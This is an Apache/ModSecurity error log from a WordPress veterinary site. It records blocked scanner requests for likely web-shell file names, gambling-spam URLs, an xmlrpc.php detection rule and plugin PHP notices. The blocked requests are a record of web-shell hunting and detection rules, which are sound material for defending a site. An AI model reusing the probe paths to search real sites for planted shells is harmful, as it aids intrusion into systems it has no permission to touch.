[Tue Mar 31 10:48:54.377776 2026] [:error] [pid 41421:tid 41425] [client 158.158.51.236:52279] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/csv.php"] [unique_id "acs2FhSaDjY9kKFtUQCoNgAAAQE"]
[Tue Mar 31 10:48:55.352535 2026] [:error] [pid 36982:tid 36994] [client 158.158.51.236:34816] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/csv.php"] [unique_id "acs2F_lMmeoQKN0r_GPh-AAAAMk"]
[Tue Mar 31 10:48:55.997839 2026] [:error] [pid 36891:tid 36936] [client 158.158.51.236:16625] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/csv.php"] [unique_id "acs2F5JhiMaJUqoqfl5SywAAAEw"]
[Tue Mar 31 10:48:56.771500 2026] [:error] [pid 36891:tid 36925] [client 158.158.51.236:31026] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/varb.php"] [unique_id "acs2GJJhiMaJUqoqfl5SzAAAAEE"]
[Tue Mar 31 10:48:57.478019 2026] [:error] [pid 36982:tid 36989] [client 158.158.51.236:24275] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/varb.php"] [unique_id "acs2GflMmeoQKN0r_GPh_QAAAMQ"]
[Tue Mar 31 10:48:58.212103 2026] [:error] [pid 41421:tid 41426] [client 158.158.51.236:24312] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/varb.php"] [unique_id "acs2GhSaDjY9kKFtUQCoPAAAAQI"]
[Tue Mar 31 10:48:58.894073 2026] [:error] [pid 6548:tid 6573] [client 158.158.51.236:34819] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/varb.php"] [unique_id "acs2GrgIz9HgMl9YwE7R9QAAAVc"]
[Tue Mar 31 10:48:59.534527 2026] [:error] [pid 41421:tid 41444] [client 158.158.51.236:29793] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/8573.php"] [unique_id "acs2GxSaDjY9kKFtUQCoQAAAARQ"]
[Tue Mar 31 10:49:00.277448 2026] [:error] [pid 36982:tid 37002] [client 158.158.51.236:51768] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/8573.php"] [unique_id "acs2HPlMmeoQKN0r_GPiBAAAANE"]
[Tue Mar 31 10:49:00.963046 2026] [:error] [pid 6548:tid 6563] [client 158.158.51.236:52245] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/8573.php"] [unique_id "acs2HLgIz9HgMl9YwE7R-AAAAU0"]
[Tue Mar 31 10:49:01.650531 2026] [:error] [pid 36890:tid 36918] [client 158.158.51.236:51717] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/8573.php"] [unique_id "acs2HZ8FASPd_uH8z7d4UAAAABc"]
[Tue Mar 31 10:49:02.319479 2026] [:error] [pid 36890:tid 36898] [client 158.158.51.236:16618] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/abc.php"] [unique_id "acs2Hp8FASPd_uH8z7d4UQAAAAM"]
[Tue Mar 31 10:49:02.939913 2026] [:error] [pid 41421:tid 41448] [client 158.158.51.236:19096] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/abc.php"] [unique_id "acs2HhSaDjY9kKFtUQCoRAAAARg"]
[Tue Mar 31 10:49:03.690676 2026] [:error] [pid 36892:tid 36974] [client 158.158.51.236:19110] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/abc.php"] [unique_id "acs2H0yj9S4G0ek3O4L0FAAAAJc"]
[Tue Mar 31 10:49:04.447830 2026] [:error] [pid 36982:tid 37005] [client 158.158.51.236:34871] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/abc.php"] [unique_id "acs2IPlMmeoQKN0r_GPiCgAAANQ"]
[Tue Mar 31 10:49:05.021080 2026] [:error] [pid 36982:tid 36996] [client 158.158.51.236:4531] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-png.php"] [unique_id "acs2IflMmeoQKN0r_GPiCwAAAMs"]
[Tue Mar 31 10:49:05.787914 2026] [:error] [pid 6548:tid 6570] [client 158.158.51.236:52443] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-png.php"] [unique_id "acs2IbgIz9HgMl9YwE7R_wAAAVQ"]
[Tue Mar 31 10:49:06.550899 2026] [:error] [pid 36982:tid 36986] [client 158.158.51.236:42978] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-png.php"] [unique_id "acs2IvlMmeoQKN0r_GPiFQAAAME"]
[Tue Mar 31 10:49:07.164334 2026] [:error] [pid 6548:tid 6550] [client 158.158.51.236:52479] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-png.php"] [unique_id "acs2I7gIz9HgMl9YwE7SAAAAAUA"]
[Tue Mar 31 10:49:07.871005 2026] [:error] [pid 36982:tid 36994] [client 158.158.51.236:52238] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jp.php"] [unique_id "acs2I_lMmeoQKN0r_GPiHwAAAMk"]
[Tue Mar 31 10:49:08.540115 2026] [:error] [pid 36982:tid 36986] [client 158.158.51.236:34856] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jp.php"] [unique_id "acs2JPlMmeoQKN0r_GPiIgAAAME"]
[Tue Mar 31 10:49:09.314024 2026] [:error] [pid 36982:tid 37006] [client 158.158.51.236:34861] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jp.php"] [unique_id "acs2JflMmeoQKN0r_GPiJgAAANU"]
[Tue Mar 31 10:49:09.968379 2026] [:error] [pid 36890:tid 36903] [client 158.158.51.236:42999] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jp.php"] [unique_id "acs2JZ8FASPd_uH8z7d4WQAAAAg"]
[Tue Mar 31 10:49:10.591984 2026] [:error] [pid 41421:tid 41425] [client 158.158.51.236:29226] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tfm.php"] [unique_id "acs2JhSaDjY9kKFtUQCoWQAAAQE"]
[Tue Mar 31 10:49:11.498574 2026] [:error] [pid 36982:tid 36998] [client 158.158.51.236:19087] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tfm.php"] [unique_id "acs2J_lMmeoQKN0r_GPiKwAAAM0"]
[Tue Mar 31 10:49:12.124511 2026] [:error] [pid 36890:tid 36908] [client 158.158.51.236:51747] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tfm.php"] [unique_id "acs2KJ8FASPd_uH8z7d4YQAAAA0"]
[Tue Mar 31 10:49:12.688731 2026] [:error] [pid 36890:tid 36916] [client 158.158.51.236:46958] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tfm.php"] [unique_id "acs2KJ8FASPd_uH8z7d4YgAAABU"]
[Tue Mar 31 10:49:13.611286 2026] [:error] [pid 36982:tid 37003] [client 158.158.51.236:46939] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin-footer.php"] [unique_id "acs2KflMmeoQKN0r_GPiOwAAANI"]
[Tue Mar 31 10:49:14.348696 2026] [:error] [pid 36890:tid 36905] [client 158.158.51.236:46926] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin-footer.php"] [unique_id "acs2Kp8FASPd_uH8z7d4ZwAAAAo"]
[Tue Mar 31 10:49:15.360371 2026] [:error] [pid 36982:tid 36999] [client 158.158.51.236:28349] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin-footer.php"] [unique_id "acs2K_lMmeoQKN0r_GPiSQAAAM4"]
[Tue Mar 31 10:49:16.177313 2026] [:error] [pid 41421:tid 41435] [client 158.158.51.236:29196] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin-footer.php"] [unique_id "acs2LBSaDjY9kKFtUQCoZgAAAQs"]
[Tue Mar 31 11:38:31.694289 2026] [:error] [pid 6548:tid 6569] [client 91.73.117.196:3382] [client 91.73.117.196] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.73.117.196, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "actBt7gIz9HgMl9YwE7yzwAAAVM"]
[Tue Mar 31 12:40:46.945810 2026] [proxy_fcgi:error] [pid 36982:tid 37008] [client 103.4.122.14:35012] AH01071: Got error 'PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Tue Mar 31 12:41:05.420617 2026] [proxy_fcgi:error] [pid 36890:tid 36895] [client 103.4.122.14:35124] AH01071: Got error 'PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Trying to get property 'version' of non-object in /home/vetstars/public_html/wp-content/plugins/wp-fastest-cache-premium/pro/library/update.php on line 132PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Tue Mar 31 12:44:12.163945 2026] [:error] [pid 36890:tid 36914] [client 43.159.143.190:46820] [client 43.159.143.190] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "actRHJ8FASPd_uH8z7eg-wAAABM"]
[Tue Mar 31 13:05:30.469525 2026] [:error] [pid 36892:tid 36965] [client 51.75.128.50:50422] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "actWGkyj9S4G0ek3O4IYpwAAAI4"]
[Tue Mar 31 13:05:33.134695 2026] [:error] [pid 36890:tid 36914] [client 51.75.128.50:40188] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "actWHZ8FASPd_uH8z7epvwAAABM"]
[Tue Mar 31 13:05:35.683548 2026] [:error] [pid 6548:tid 6574] [client 51.75.128.50:40200] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "actWH7gIz9HgMl9YwE4v7AAAAVg"]
[Tue Mar 31 13:05:38.377898 2026] [:error] [pid 36892:tid 36975] [client 51.75.128.50:40216] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "actWIkyj9S4G0ek3O4IYvAAAAJg"]
[Tue Mar 31 13:05:40.988080 2026] [:error] [pid 36892:tid 36962] [client 51.75.128.50:45800] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "actWJEyj9S4G0ek3O4IYwAAAAIs"]
[Tue Mar 31 13:05:43.499766 2026] [:error] [pid 36982:tid 37004] [client 51.75.128.50:45816] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "actWJ_lMmeoQKN0r_GNo-QAAANM"]
[Tue Mar 31 13:05:45.944414 2026] [:error] [pid 36982:tid 36996] [client 51.75.128.50:45830] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "actWKflMmeoQKN0r_GNpAwAAAMs"]
[Tue Mar 31 13:05:48.368850 2026] [:error] [pid 36891:tid 36946] [client 51.75.128.50:45834] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "actWLJJhiMaJUqoqfl5uzAAAAFY"]
[Tue Mar 31 13:05:50.901653 2026] [:error] [pid 6548:tid 6555] [client 51.75.128.50:55198] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "actWLrgIz9HgMl9YwE4wIgAAAUU"]
[Tue Mar 31 13:05:53.503755 2026] [:error] [pid 36982:tid 37001] [client 51.75.128.50:55204] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "actWMflMmeoQKN0r_GNpGQAAANA"]
[Tue Mar 31 13:05:55.987770 2026] [:error] [pid 41421:tid 41431] [client 51.75.128.50:55206] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "actWMxSaDjY9kKFtUQDoqgAAAQc"]
[Tue Mar 31 13:05:58.522219 2026] [:error] [pid 36982:tid 36998] [client 51.75.128.50:55216] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "actWNvlMmeoQKN0r_GNpLwAAAM0"]
[Tue Mar 31 13:06:01.124738 2026] [:error] [pid 6548:tid 6557] [client 51.75.128.50:60074] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "actWObgIz9HgMl9YwE4wVgAAAUc"]
[Tue Mar 31 13:06:03.701658 2026] [:error] [pid 36890:tid 36898] [client 51.75.128.50:60080] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "actWO58FASPd_uH8z7ep-wAAAAM"]
[Tue Mar 31 13:06:06.090987 2026] [:error] [pid 41421:tid 41425] [client 51.75.128.50:60082] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "actWPhSaDjY9kKFtUQDosgAAAQE"]
[Tue Mar 31 13:06:08.583550 2026] [:error] [pid 41421:tid 41443] [client 51.75.128.50:60098] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "actWQBSaDjY9kKFtUQDoswAAARM"]
[Tue Mar 31 13:06:11.148380 2026] [:error] [pid 36890:tid 36904] [client 51.75.128.50:33630] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "actWQ58FASPd_uH8z7eqCQAAAAk"]
[Tue Mar 31 13:06:13.534511 2026] [:error] [pid 36892:tid 36965] [client 51.75.128.50:33634] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "actWRUyj9S4G0ek3O4IY5gAAAI4"]
